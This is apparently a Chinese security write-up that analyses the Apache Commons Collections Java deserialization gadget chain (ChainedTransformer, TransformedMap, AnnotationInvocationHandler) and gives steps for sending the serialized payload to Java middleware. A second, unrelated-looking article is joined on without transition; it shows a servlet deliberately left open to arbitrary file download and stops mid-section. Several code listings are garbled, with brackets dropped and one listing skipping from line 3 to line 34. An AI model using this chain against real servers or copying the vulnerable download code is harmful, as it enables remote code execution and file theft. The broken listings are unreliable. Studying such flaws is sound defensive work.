ObjectInputStream 对以前使用 ObjectOutputStream 写入的基本数据和对象进行反序列化。 ObjectOutputStream 和 ObjectInputStream 分别与 FileOutputStream 和 FileInputStream 一起使用时,可以为应用程序提供对对象图形的持久存储。ObjectInputStream 用于恢复那些以前序列化的对象。其他用途包括使用套接字流在主机之间传递对象,或者用于编组和解组远程通信系统中的实参和形参。 ObjectInputStream 确保从流创建的图形中所有对象的类型与 Java 虚拟机中显示的类相匹配。使用标准机制按需加载类。 只有支持 java.io.Serializable 或 java.io.Externalizable 接口的对象才能从流读取。 readObject 方法用于从流读取对象。应该使用 Java 的安全强制转换来获取所需的类型。在 Java 中,字符串和数组都是对象,所以在序列化期间将其视为对象。读取时,需要将其强制转换为期望的类型。

即使用ObjectInputStream.readObject方法可对序列化的数据进行反序列化。当实现了Serializable接口的对象被反序列化时,该对象的readObject方法会被调用。

对JAVA基础类的序列化与反序列化测试

String实现了Serializable接口,可进行序列化。 以下测试代码会对String类的对象进行序列化,将序列化的数据保存在文件中,再从文件读取序列化的数据进行反序列化。执行上述代码后,能够正确输出原String类的对象的值。

JAVA序列化数据的magic number

java.io.ObjectStreamConstants类中定义了STREAM_MAGIC与STREAM_VERSION,查看JDK1.5、1.6、1.7、1.8的ObjectStreamConstants类,STREAM_MAGIC值均为0xaced,STREAM_VERSION值均为5。JDK1.6的源码中,上述变量的代码如下。
#!java package java.io; /** * Constants written into the Object Serialization Stream. * * @author unascribed * @version %I%, %G% * @since JDK 1.1 */ public interface ObjectStreamConstants { /** * Magic number that is written to the stream header. */ final static short STREAM_MAGIC = (short)0xaced; /** * Version number that is written to the stream header. */ final static short STREAM_VERSION = 5;
即0xaced为JAVA对象序列化流的魔数,0x0005为JAVA对象序列化的版本号,JAVA对象序列化数据的前4个字节为“AC ED 00 05”。 查看上一步骤生成的保存了序列化数据的文件,文件内容开头为“AC ED 00 05”,与上述描述相符。

对自定义类的序列化与反序列化测试

以下测试代码为test.SerializeMyClass类,在其中定义了内部类MyObject。MyObject类实现了Serializable接口,SerializeMyClass类会对MyObject类的对象进行序列化,将序列化的数据保存在文件中,再从文件读取序列化的数据进行反序列化。 执行结果如下
#!bash MyObject(String name) tttest MyObject-readObject!!!!!!!!!!!!!! tttest tttest!
可以看到MyObject类实现的Serializable接口的readObject方法会被调用,且对象被序列化再反序列化后,对其值不影响。 生成的保存了序列化数据的文件,文件内容开头也为“AC ED 00 05”,可以看到文件内容包含了包名与类名、类中包含的变量名称、类型及变量的值。

JAVA反射机制

使用JAVA反射机制调用FileOutputStream类写文件 调用FileOutputStream类写文件时,常用的代码如下:
#!java FileOutputStream fos = new FileOutputStream("1.txt"); fos.write("abc".getBytes());
若需要使用JAVA反射机制调用FileOutputStream类写文件,且只允许调用Class.getMethod与Method.invoke方法,上述代码需修改为如下形式。

使用JAVA反射机制调用Runtime类执行程序

调用Runtime类执行程序时,常用的代码如下:
#!java Runtime runtime = Runtime.getRuntime(); runtime.exec("calc");
若需要使用JAVA反射机制调用Runtime类执行程序件,且只允许调用Class.getMethod与Method.invoke方法,上述代码需修改为如下形式。

JAVA反射机制与序列化

当需要操作无法直接访问的类时,需要使用JAVA的反射机制。即对无法直接访问的类进行序列化时,需要使用JAVA的反射机制。 以下测试代码为testReflection.TestReflection类,与前文中的test.MyObject类不在同一个包中,在TestReflection类中对MyObject类进行序列化时,需要使用JAVA的反射机制。 以下为执行结果,可以看到使用JAVA的反射机制后,能够对无法直接访问的类进行序列化。
#!bash -before newInstance- MyObject(String name) tttest -after newInstance- byteOut.toByteArray().length:71 MyObject-readObject!!!!!!!!!!!!!! tttest object:class test.MyObject -before newInstance- MyObject(String name) no name-default -after newInstance- byteOut.toByteArray().length:80 MyObject-readObject!!!!!!!!!!!!!! no name-default object:class test.MyObject

0x02 漏洞分析

使用JAVA反序列化的场景 breenmachine在“What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common This Vulnerability”中列出了以下会使用JAVA反序列化的场景。

Java LOVES sending serialized objects all over the place. For example: In HTTP requests – Parameters, ViewState, Cookies, you name it. RMI – The extensively used Java RMI protocol is 100% based on serialization. RMI over HTTP – Many Java thick client web apps use this – again 100% serialized objects. JMX – Again, relies on serialized objects being shot over the wire. Custom Protocols – Sending an receiving raw Java objects is the norm – which we’ll see in some of the exploits to come.

可能存在JAVA反序列化漏洞的场景

JAVA中间件通常通过网络接收客户端发送的序列化数据,JAVA中间件在对序列化数据进行反序列化数据时,会调用被序列化对象的readObject方法。如果某个对象的readObject方法中能够执行任意代码,那么JAVA中间件在对其进行反序列化时,也会执行对应的代码。如果能够找到满足上述条件的对象进行序列化并发送给JAVA中间件,JAVA中间件也会执行指定的代码,即存在反序列化漏洞。 JAVA反序列化漏洞需要满足两个条件: JAVA中件间需要存在客户端进行序列化时使用的类,否则服务器在进行反序列化时会出现ClassNotFoundException异常; 客户端选择的进行序列化的类在执行代码时,不会进行任何验证或限制,会完全按照要求执行。 利用JAVA反序列化漏洞可以使服务器执行任意代码,可以直接控制服务器,危害非常大。

Apache Commons Collections组件说明

下文中出现的以下类均包含在Apache Commons Collections组件中。

org.apache.commons.collections.functors.ConstantTransformer org.apache.commons.collections.functors.InvokerTransformer org.apache.commons.collections.functors.ChainedTransformer org.apache.commons.collections.map.TransformedMap org.apache.commons.collections.map.AbstractInputCheckedMapDecorator org.apache.commons.collections.map.AbstractMapDecorator org.apache.commons.collections.set.AbstractSetDecorator org.apache.commons.collections.collection.AbstractCollectionDecorator org.apache.commons.collections.iterators.AbstractIteratorDecorator org.apache.commons.collections.keyvalue.AbstractMapEntryDecorator

Apache Commons Collections组件原生的jar包为commons-collections-xxx.jar。 本文中分析的commons-collections-xxx.jar版本为3.2.1,JDK版本为1.6。 通过对commons-collections-xxx.jar中涉及的代码进行反编译,增加输出或进行调试,可以跟踪漏洞触发时的代码执行情况。

利用ChainedTransformer执行代码

ConstantTransformer类的transform方法

org.apache.commons.collections.functors.ConstantTransformer类的transform方法会返回构造函数传入的参数。ConstantTransformer类相关代码如下。
#!java public class ConstantTransformer implements Transformer, Serializable { private final Object iConstant; public ConstantTransformer(Object constantToReturn) { this.iConstant = constantToReturn; } public Object transform(Object input) { return this.iConstant; } ... }

InvokerTransformer类的transform方法

org.apache.commons.collections.functors.InvokerTransformer类的transform方法可以通过JAVA反射机制执行指定的代码,能指定所需执行的类、方法及参数,且在transform方法中未进行任何验证或限制。transform方法中执行的代码的方法名、参数类型及参数值在InvokerTransformer类的构造函数中指定。InvokerTransformer类相关代码如下。
#!java public class InvokerTransformer implements Transformer, Serializable { private final String iMethodName; private final Class
iParamTypes; private final Object
iArgs; public InvokerTransformer(String methodName, Class
paramTypes, Object
args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; } public Object transform(Object input) { if (input == null) return null; try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } ... } }

利用ChainedTransformer执行代码分析

以下为利用org.apache.commons.collections.functors.ChainedTransformer类执行任意代码的示例,当执行最后的“chain.transform(chain);”后,会执行传入的Transformer数组指定的代码。在该示例中,会启动计算器程序。 ConstantTransformer与InvokerTransformer数组可被转换为org.apache.commons.collections.functors.ChainedTransformer对象。在ChainedTransformer类的带参数构造函数中,会将参数中的ConstantTransformer与InvokerTransformer数组保存为this.iTransformers对象。在ChainedTransformer类的transform方法中,会依次调用this.iTransformers对应的ConstantTransformer与InvokerTransformer数组的transform方法,且前一次执行transform方法的返回值object,会作为下一次执行transform方法的参数object。ChainedTransformer类的相关代码如下。
#!java public class ChainedTransformer implements Transformer, Serializable { public ChainedTransformer(Transformer
transformers) { this.iTransformers = transformers; } ... public Object transform(Object object) { for (int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers
.transform(object); } return object; } ... }
对于上述的示例代码,在执行最后的“chain.transform(chain);”方法时,会首先调用ConstantTransformer.transform方法获取其构造函数中传入的类,再依次调用InvokerTransformer.transform方法执行其构造函数中传入的方法,等价于下面的代码。 上述代码与前文“使用JAVA反射机制调用Runtime类执行程序”中的代码相同,已经过验证可以成功执行,能够调用指定的程序。ChainedTransformer也能够调用FileOutputStream类进行写文件操作,相关代码见前文“使用JAVA反射机制调用FileOutputStream类写文件”部分。由此可见,利用ChainedTransformer类能够执行指定的代码。

利用TransformedMap类执行代码

以下为通过org.apache.commons.collections.map.TransformedMap类执行任意代码的示例,当执行最后的“localEntry.setValue(null);”后,会执行传入的Transformer数组指定的代码。在该示例中,会启动计算器程序。

涉及的变量及类型

上述示例代码中涉及的变量及类型如下。
变量|类型 outerMap|org.apache.commons.collections.map.TransformedMap set|org.apache.commons.collections.map.AbstractInputCheckedMapDecorator$EntrySet localIterator|org.apache.commons.collections.map.AbstractInputCheckedMapDecorator$EntrySetIterator localEntry|org.apache.commons.collections.map.AbstractInputCheckedMapDecorator$MapEntry
org.apache.commons.collections.map.TransformedMap类直接继承自org.apache.commons.collections.map.AbstractInputCheckedMapDecorator类,间接继承自java.util.Map类。org.apache.commons.collections.map.TransformedMap类的继承关系如下。
org.apache.commons.collections.map.TransformedMap └org.apache.commons.collections.map.AbstractInputCheckedMapDecorator └org.apache.commons.collections.map.AbstractMapDecorator └java.util.Map

调用TransformedMap类的decorate方法

上述示例中第33行代码TransformedMap.decorate调用了TransformedMap类的decorate方法。TransformedMap类的decorate方法中创建了TransformedMap对象,以调用decorate方法的参数一map作为参数调用了父类AbstractInputCheckedMapDecorator的构造函数,并将调用decorate方法的参数三valueTransformer保存为this.valueTransformer变量。TransformedMap类相关代码如下。
#!java public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable { protected final Transformer keyTransformer; protected final Transformer valueTransformer; public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); } protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; } ... }
在TransformedMap类的父类AbstractInputCheckedMapDecorator的构造函数中,以自身类构造函数的参数为参数调用了父类的构造函数。AbstractInputCheckedMapDecorator类相关代码如下。
#!java abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator { protected AbstractInputCheckedMapDecorator(Map map) { super(map); } ... }
在AbstractInputCheckedMapDecorator类的父类AbstractMapDecorator的构造函数中,将构造函数的参数保存为this.map对象。AbstractMapDecorator类相关代码如下。
#!java public abstract class AbstractMapDecorator implements Map { protected transient Map map; public AbstractMapDecorator(Map map) { if (map == null) { throw new IllegalArgumentException("Map must not be null"); } this.map = map; } ... }
可以看出,上述示例代码中,第33行代码调用TransformedMap类的decorate方法时,参数一innerMap被保存为生成的TransformedMap对象的map变量,参数三chain被保存为valueTransformer变量。

调用AbstractInputCheckedMapDecorator类的entrySet方法

上述示例中第35行代码outerMap.entrySet调用了TransformedMap类的父类AbstractInputCheckedMapDecorator的entrySet方法。AbstractInputCheckedMapDecorator类为抽象类,在其entrySet方法中,创建了EntrySet类的对象并返回。在调用EntrySet类的构造函数时,参数二为this,由于AbstractInputCheckedMapDecorator类为抽象类。在上述示例代码执行时,参数二this即为TransformedMap类的对象outerMap。 EntrySet类为AbstractInputCheckedMapDecorator类的内部类,在其构造函数中,会将参数二保存为this.parent变量。在上述示例代码执行时,TransformedMap类的对象outerMap会被保存为EntrySet类的this.parent变量。 AbstractInputCheckedMapDecorator类相关代码如下。
#!java abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator { protected boolean isSetValueChecking() { return true; } public Set entrySet() { if (isSetValueChecking()) { return new EntrySet(this.map.entrySet(), this); } return this.map.entrySet(); } ... static class EntrySet extends AbstractSetDecorator { private final AbstractInputCheckedMapDecorator parent; protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) { super(set); this.parent = parent; } ... } }

调用AbstractInputCheckedMapDecorator$EntrySet类的iterator方法

上述示例代码中第37行代码set.iterator调用了AbstractInputCheckedMapDecorator$EntrySet类的iterator方法。在EntrySet类的iterator方法中,创建了AbstractInputCheckedMapDecorator$EntrySetIterator类的对象并返回,在调用EntrySetIterator类的构造函数时,参数二为this.parent。在上述示例代码中,this.parent即为TransformedMap类的对象outerMap。 EntrySetIterator类为AbstractInputCheckedMapDecorator类的内部类,在其构造函数中,会将参数二保存为this.parent变量。在上述示例代码执行时,TransformedMap类的对象outerMap会被保存为EntrySetIterator类的this.parent变量。 AbstractInputCheckedMapDecorator类相关代码如下。
#!java abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator { static class EntrySet extends AbstractSetDecorator { private final AbstractInputCheckedMapDecorator parent; public Iterator iterator() { return new AbstractInputCheckedMapDecorator.EntrySetIterator( this.collection.iterator(), this.parent); } ... } static class EntrySetIterator extends AbstractIteratorDecorator { private final AbstractInputCheckedMapDecorator parent; protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) { super(iterator); this.parent = parent; } ... } ... }

调用AbstractInputCheckedMapDecorator$EntrySetIterator类的next方法

上述示例代码中第39行代码localIterator.next调用了AbstractInputCheckedMapDecorator$EntrySetIterator类的next方法。在EntrySetIterator类的next方法中,创建了AbstractInputCheckedMapDecorator$MapEntry类的对象并返回,在调用MapEntry类的构造函数时,参数二为this.parent。在上述示例代码中,this.parent即为TransformedMap类的对象outerMap。 MapEntry类为AbstractInputCheckedMapDecorator类的内部类,在其构造函数中,会将参数二保存为this.parent变量。在上述示例代码执行时,TransformedMap类的对象outerMap会被保存为MapEntry类的this.parent变量。 AbstractInputCheckedMapDecorator类相关代码如下。
#!java abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator { static class EntrySetIterator extends AbstractIteratorDecorator { private final AbstractInputCheckedMapDecorator parent; public Object next() { Map.Entry entry = (Map.Entry) this.iterator.next(); return new AbstractInputCheckedMapDecorator.MapEntry(entry, this.parent); } ... } ... static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent; protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super(entry); this.parent = parent; } ... } }

调用AbstractInputCheckedMapDecorator$MapEntry类的setValue方法

上述示例代码中第43行代码localEntry.setValue调用了AbstractInputCheckedMapDecorator$MapEntry类的setValue方法。在MapEntry类的setValue方法中,调用了this.parent的checkSetValue方法。在上述示例代码中,MapEntry类的this.parent即为TransformedMap类的对象outerMap,因此会调用TransformedMap类的checkSetValue方法。AbstractInputCheckedMapDecorator类相关代码如下。
#!java abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator { static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent; public Object setValue(Object value) { value = this.parent.checkSetValue(value); return this.entry.setValue(value); } ... } }
在TransformedMap类的checkSetValue方法中,会调用this.valueTransformer.transform方法。在前文的示例代码中,TransformedMap类的对象outerMap的this.valueTransformer变量对应ChainedTransformer类对象chain。前文“利用ChainedTransformer执行代码分析”部分已经说明,调用ChainedTransformer类的transform方法时,会执行其在构造时传入的ConstantTransformer与InvokerTransformer数组中指定的方法。TransformedMap类相关代码如下。
#!java public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable { protected Object checkSetValue(Object value) { return this.valueTransformer.transform(value); } ... }
综上所述,上述示例代码最后的“localEntry.setValue(null);”时,会执行ConstantTransformer与InvokerTransformer数组指定的方法。

漏洞触发时的调用过程

上述漏洞在触发时的完整调用过程如下。
//调用TransformedMap类的decorate方法 TransformedMap.decorate AbstractMapDecorator.AbstractMapDecorator AbstractInputCheckedMapDecorator.AbstractInputCheckedMapDecorator TransformedMap.TransformedMap //调用AbstractInputCheckedMapDecorator类的entrySet方法 AbstractInputCheckedMapDecorator.entrySet TransformedMap.isSetValueChecking AbstractInputCheckedMapDecorator$EntrySet.EntrySet //调用AbstractInputCheckedMapDecorator$EntrySet类的iterator方法 AbstractInputCheckedMapDecorator$EntrySet.iterator AbstractInputCheckedMapDecorator$EntrySetIterator.EntrySetIterator //调用AbstractInputCheckedMapDecorator$EntrySetIterator类的next方法 AbstractInputCheckedMapDecorator$EntrySetIterator.next AbstractMapEntryDecorator.AbstractMapEntryDecorator AbstractInputCheckedMapDecorator$MapEntry.MapEntry //调用AbstractInputCheckedMapDecorator$MapEntry类的setValue方法 AbstractInputCheckedMapDecorator$MapEntry.setValue TransformedMap.checkSetValue ChainedTransformer.transform InvokerTransformer.transform

AbstractInputCheckedMapDecorator$MapEntry对象的键值对

在确定了利用TransformedMap类可以执行代码以后,再来关注上述示例代码中调用最后的“localEntry.setValue”之前的localEntry的键值对。之所以需要关注localEntry的键值对,是因为在通过AnnotationInvocationHandler类执行代码时,这是一个重要的变量。 从上述示例代码第35行“outerMap.entrySet”开始分析,之前的步骤不再重复。 上述示例中第35行代码outerMap.entrySet调用了TransformedMap类的父类AbstractInputCheckedMapDecorator的entrySet方法。在AbstractInputCheckedMapDecorator类的entrySet方法中,创建了EntrySet类的对象并返回。在调用EntrySet类的构造函数时,参数一为this.map.entrySet()。在上述示例代码中,AbstractInputCheckedMapDecorator类的this.map.entrySet()对应Map对象innerMap的entrySet()。 在AbstractInputCheckedMapDecorator$EntrySet类的构造函数中,会将参数一set作为参数调用父类org.apache.commons.collections.set.AbstractSetDecorator的构造函数。 AbstractInputCheckedMapDecorator类相关代码如下。
#!java abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator { protected boolean isSetValueChecking() { return true; } public Set entrySet() { if (isSetValueChecking()) { return new EntrySet(this.map.entrySet(), this); } return this.map.entrySet(); } ... static class EntrySet extends AbstractSetDecorator { private final AbstractInputCheckedMapDecorator parent; protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) { super(set); this.parent = parent; } ... } }
在AbstractSetDecorator类的构造函数中,会将参数一set作为参数调用父类org.apache.commons.collections.collection.AbstractCollectionDecorator的构造函数。 AbstractSetDecorator类相关代码如下。
#!java public abstract class AbstractSetDecorator extends AbstractCollectionDecorator implements Set { protected AbstractSetDecorator(Set set) { super(set); } ... }
在AbstractCollectionDecorator类的构造函数中,会将参数一coll保存为this.collection变量,即AbstractCollectionDecorator类的this.collection变量保存了示例代码中Map对象innerMap的entrySet()。 AbstractCollectionDecorator类相关代码如下。
#!java public abstract class AbstractCollectionDecorator implements Collection { protected Collection collection; protected AbstractCollectionDecorator(Collection coll) { if (coll == null) { throw new IllegalArgumentException("Collection must not be null"); } this.collection = coll; } ... }
上述示例代码中第37行代码set.iterator调用了AbstractInputCheckedMapDecorator$EntrySet类的iterator方法。在EntrySet类的iterator方法中,创建了AbstractInputCheckedMapDecorator$EntrySetIterator类的对象并返回,在调用EntrySetIterator类的构造函数时,参数一为this.collection.iterator()。在上述示例代码中,this.collection.iterator()即为Map对象innerMap的entrySet().iterator()。 在AbstractInputCheckedMapDecorator$EntrySetIterator类的构造函数中,会将参数一iterator作为参数调用父类org.apache.commons.collections.iterators.AbstractIteratorDecorator的构造函数。 AbstractInputCheckedMapDecorator类相关代码如下。
#!java abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator { static class EntrySet extends AbstractSetDecorator { private final AbstractInputCheckedMapDecorator parent; public Iterator iterator() { return new AbstractInputCheckedMapDecorator.EntrySetIterator( this.collection.iterator(), this.parent); } ... } static class EntrySetIterator extends AbstractIteratorDecorator { private final AbstractInputCheckedMapDecorator parent; protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) { super(iterator); this.parent = parent; } ... } ... }
在AbstractIteratorDecorator类的构造函数中,会将参数一iterator保存为this.iterator变量,即AbstractIteratorDecorator类的this.iterator变量保存了示例代码中Map对象innerMap的entrySet().iterator()。 AbstractIteratorDecorator类相关代码如下。
#!java public class AbstractIteratorDecorator implements Iterator { protected final Iterator iterator; public AbstractIteratorDecorator(Iterator iterator) { if (iterator == null) { throw new IllegalArgumentException("Iterator must not be null"); } this.iterator = iterator; } ... }
上述示例代码中第39行代码localIterator.next调用了AbstractInputCheckedMapDecorator$EntrySetIterator类的next方法。在EntrySetIterator类的next方法中,创建了AbstractInputCheckedMapDecorator$MapEntry类的对象并返回,在调用MapEntry类的构造函数时,参数一为this.iterator.next()。在上述示例代码中,this.iterator.next()即为Map对象innerMap的entrySet().iterator().next(),即示例代码中第30行通过innerMap.put添加的键值对。 在AbstractInputCheckedMapDecorator$EntrySet类的构造函数中,会将参数一entry作为参数调用父类org.apache.commons.collections.keyvalue.AbstractMapEntryDecorator的构造函数。 AbstractInputCheckedMapDecorator类相关代码如下。
#!java abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator { static class EntrySetIterator extends AbstractIteratorDecorator { private final AbstractInputCheckedMapDecorator parent; public Object next() { Map.Entry entry = (Map.Entry) this.iterator.next(); return new AbstractInputCheckedMapDecorator.MapEntry(entry, this.parent); } ... } ... static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent; protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super(entry); this.parent = parent; } ... } }
在AbstractMapEntryDecorator类的构造函数中,会将参数一entry保存为this.entry变量,在getKey与getValue方法会分别返回
this.entry.getKey(
)与
this.entry.getValue()
。 AbstractMapEntryDecorator类相关代码如下。
#!java public abstract class AbstractMapEntryDecorator implements Map.Entry, KeyValue { protected final Map.Entry entry; public AbstractMapEntryDecorator(Map.Entry entry) { if (entry == null) { throw new IllegalArgumentException("Map Entry must not be null"); } this.entry = entry; } public Object getKey() { return this.entry.getKey(); } public Object getValue() { return this.entry.getValue(); } ... }
综上所述,在示例代码中执行第39行localIterator.next后,执行localEntry.getKey()与localEntry.getValue()可获取示例代码中第30行通过innerMap.put添加的键值对。

利用TransformedMap与AnnotationInvocationHandler类执行代码

已知TransformedMap类为Map类的子类,为了触发JAVA反序列化漏洞,需要找到某个类提供了方法接收Map对象,且在readObject方法中会调用Map对象的Entry的setValue方法。 sun.reflect.annotation.AnnotationInvocationHandler类满足上述的要求。sun.reflect.annotation.AnnotationInvocationHandler类为JRE中原生的类,不需要第三方支持。 以下为通过TransformedMap与AnnotationInvocationHandler类执行任意代码的示例,当执行第57行的“ois.readObject();”后,会执行传入的Transformer数组指定的代码。在该示例中,会启动计算器程序。
sun.reflect.annotation.AnnotationInvocationHandler
类无法直接访问,因此在构造需要序列化的对象时,需要使用JAVA反射机制。 在上述触发漏洞的示例代码中,会调用
AnnotationInvocationHandler
类的带参数构造函数与反序列化时会被调用的readObject函数。 AnnotationInvocationHandler类的重要的变量及方法如下。
#!java 1. class AnnotationInvocationHandler implements InvocationHandler, Serializable { 2. private final Class type; 3. private final Map") 34. .setMember((Method) localAnnotationType 35. .members().get(str))); 36. } 37. } 38. }
示例代码中第43行执行newInstance方法时,对应AnnotationInvocationHandler类代码的第6行的带参数构造方法。示例代码中第43行执行newInstance方法构造AnnotationInvocationHandler对象时,参数一为java.lang.annotation.Retention.class,参数二为TransformedMap类的对象outerMap。因此AnnotationInvocationHandler类代码中构造函数中保存的this.type对应java.lang.annotation.Retention.class,this.memberValues对应示例代码中的outerMap。 当AnnotationInvocationHandler类的readObject方法执行时,过程如下。 第17行代码中的this.type为java.lang.annotation.Retention.class。 第21行代码的localMap变量存在一个键值对,key为字符串"value",value为class"java.lang.annotation.RetentionPolicy"。 第22行代码的this.memberValues对应示例代码中TransformedMap类的对象outerMap 第24行代码的localEntry等价于outerMap.entrySet().iterator().next(),根据前文“AbstractInputCheckedMapDecorator$MapEntry对象的键值对”部分的分析结果,localEntry对应示例代码中Map对象innerMap的entrySet().iterator().next(),即示例代码中第34行通过innerMap.put添加的键值对。 第25行代码的str等于示例代码中第34行通过innerMap.put添加的键值对的key,即字符串"value"。 第26行代码的localClass等于localMap变量中的键值对的value,即class"java.lang.annotation.RetentionPolicy"。 第27行代码的判断,需要localClass非空,满足该条件。 第28行代码的localObject等于示例代码中第34行通过innerMap.put添加的键值对的value,即字符串"tttest"。 第29行代码的判断,需要localObject不是localClass的实例,localObject为String对象,localClass为class"java.lang.annotation.RetentionPolicy",满足该条件。 第30行代码的判断,需要localObject不是sun.reflect.annotation.ExceptionProxy的实例,localObject为String对象,满足该条件。 第31行代码调用了localEntry变量的setValue方法,localEntry为AbstractInputCheckedMapDecorator$MapEntry类的实例,根据前文”调用AbstractInputCheckedMapDecorator$MapEntry类的setValue方法“部分的分析,在调用AbstractInputCheckedMapDecorator$MapEntry类的setValue方法时,会执行ConstantTransformer与InvokerTransformer数组指定的方法,此时漏洞触发。
综上所述,在利用TransformedMap与AnnotationInvocationHandler类触发JAVA反序列化漏洞时,有以下几点应满足条件。
调用AnnotationInvocationHandler类的构造函数时,参数一应为java.lang.annotation.Retention.class; 在对TransformedMap.decorate的参数一Map对象使用put设置键值对时,key应为字符串"value";value不能为空,否则会出现空指针异常。value可设为非java.lang.annotation.RetentionPolicy或sun.reflect.annotation.ExceptionProxy类的对象,如String,Integer对象的任意值等;

利用TransformedMap与AnnotationInvocationHandler类触发JAVA反序列化漏洞

综合前文的分析,利用TransformedMap与AnnotationInvocationHandler类触发JAVA反序列化漏洞的大致步骤如下。
通过ConstantTransformer与InvokerTransformer数组指定需要执行的代码; 将ConstantTransformer与InvokerTransformer数组转换为ChainedTransformer对象; 通过TransformedMap类的decorate方法创建数组,参数中需要设置上一步产生的ChainedTransformer对象; 使用JAVA反射机制创建AnnotationInvocationHandler类的对象,在构造函数中指定上一步创建的数组; 对AnnotationInvocationHandler对象进行序列化后,将序列化的数据发送给JAVA中间件; JAVA中间件在对序列化的AnnotationInvocationHandler类的对象数据进行反序列化时,会调用其readObject方法并触发漏洞,执行ConstantTransformer与InvokerTransformer数组指定需要执行的代码。
简而言之,当攻击者将构造好的包含攻击代码序列化数据发送给使用了Apache Commons Collections组件的JAVA中间件时,JAVA中间件在对其进行反序列化操作时,会触发反序列化漏洞,执行攻击者指定的任意代码。 不同JAVA中间件的JAVA反序列化漏洞利用与防护分析,之后再继续。

参考资料

What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common This Vulnerability http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/ common-collections中Java反序列化漏洞导致的RCE原理分析 WooYun知识库 http://drops.wooyun.org/papers/10467 Commons Collections Java反序列化漏洞深入分析 - 博客 - 腾讯安全应急响应中心 http://security.tencent.com/index.php/blog/msg/97 JAVA Apache-CommonsCollections 序列化漏洞分析以及漏洞高级利用 随风'S Blog http://www.iswin.org/2015/11/13/Apache-CommonsCollections-Deserialized-Vulnerability/ Java反序列化漏洞技术分析 天融信阿尔法实验室 http://blog.topsec.com.cn/ad_lab/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E6%8A%80%E6%9C%AF%E5%88%86%E6%9E%90/ Java反序列化漏洞之Weblogic、Jboss利用教程及exp - HereSecurity http://www.heresec.com/index.php/archives/127/ Java反序列化漏洞之weblogic本地利用实现篇 - FreeBuf_COM 关注黑客与极客 http://www.freebuf.com/vuls/90802.html Lib之过?Java反序列化漏洞通用利用分析 - Cnlouds的个人空间 - 开源中国社区 http://my.oschina.net/u/1188877/blog/529611 WebLogic之Java反序列化漏洞利用实现二进制文件上传和命令执行 WooYun知识库 http://drops.wooyun.org/papers/11690

0x00 前言

本文主要针对JAVA服务器常见的危害较大的安全问题的成因与防护进行分析,主要为了交流和抛砖引玉。

0x01 任意文件下载

示例

以下为任意文件下载漏洞的示例。 DownloadAction为用于下载文件的servlet。
#!html DownloadAction DownloadAction download.DownloadAction DownloadAction /DownloadAction
在对应的download.DownloadAction类中,将HTTP请求中的filename参数作为待下载的文件名,从web应用根目录的download目录读取文件内容并返回,代码如下。
#!java protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String rootPath = this.getServletContext().getRealPath("/"); String filename = request.getParameter("filename"); if (filename == null) filename = ""; filename = filename.trim(); InputStream inStream = null; byte
b = new byte
; int len = 0; try { if (filename == null) { return; } // 读到流中 // 本行代码未对文件名参数进行过滤,存在任意文件下载漏洞 inStream = new FileInputStream(rootPath + "/download/" + filename); // 设置输出的格式 response.reset(); response.setContentType("application/x-msdownload"); response.addHeader("Content-Disposition", "attachment; filename=\"" + filename + "\""); // 循环取出流中的数据 while ((len = inStream.read(b)) > 0) { response.getOutputStream().write(b, 0, len); } response.getOutputStream().close(); inStream.close(); } catch (Exception e) { e.printStackTrace(); } }
使用DownloadAction下载web应用根目录中的“download/test.txt”文件如下图所示。 由于在DownloadAction类中没有对filename参数值进行检查,因此产生了任意文件下载漏洞。 使用DownloadAction下载web应用根目录中的“WEB-INF/web.xml”文件如下图所示。

原因分析

从上述示例可以看出,在JAVA web程序的下载文件相关的代码中,若不对HTTP请求中的待下载文件名进行检查,则有可能产生任意文件下载漏洞。 java.io.File对象有两个方法可以用于获取文件对象的路径,getAbsolutePath与getCanonicalPath。 查看JDK 1.6 API中上述两个方法的说明。 getAbsolutePath

返回此抽象路径名的绝对路径名字符串。 如果此抽象路径名已经是绝对路径名,则返回该路径名字符串,这与 getPath() 方法一样。如果此抽象路径名是空抽象路径名,则返回当前用户目录的路径名字符串,该目录由系统属性 user.dir 指定。否则,使用与系统有关的方式解析此路径名。在 UNIX 系统上,根据当前用户目录解析相对路径名,可使该路径名成为绝对路径名。在 Microsoft Windows 系统上,根据路径名指定的当前驱动器目录(如果有)解析相对路径名,可使该路径名成为绝对路径名;否则,可以根据当前用户目录解析它。

getCanonicalPath

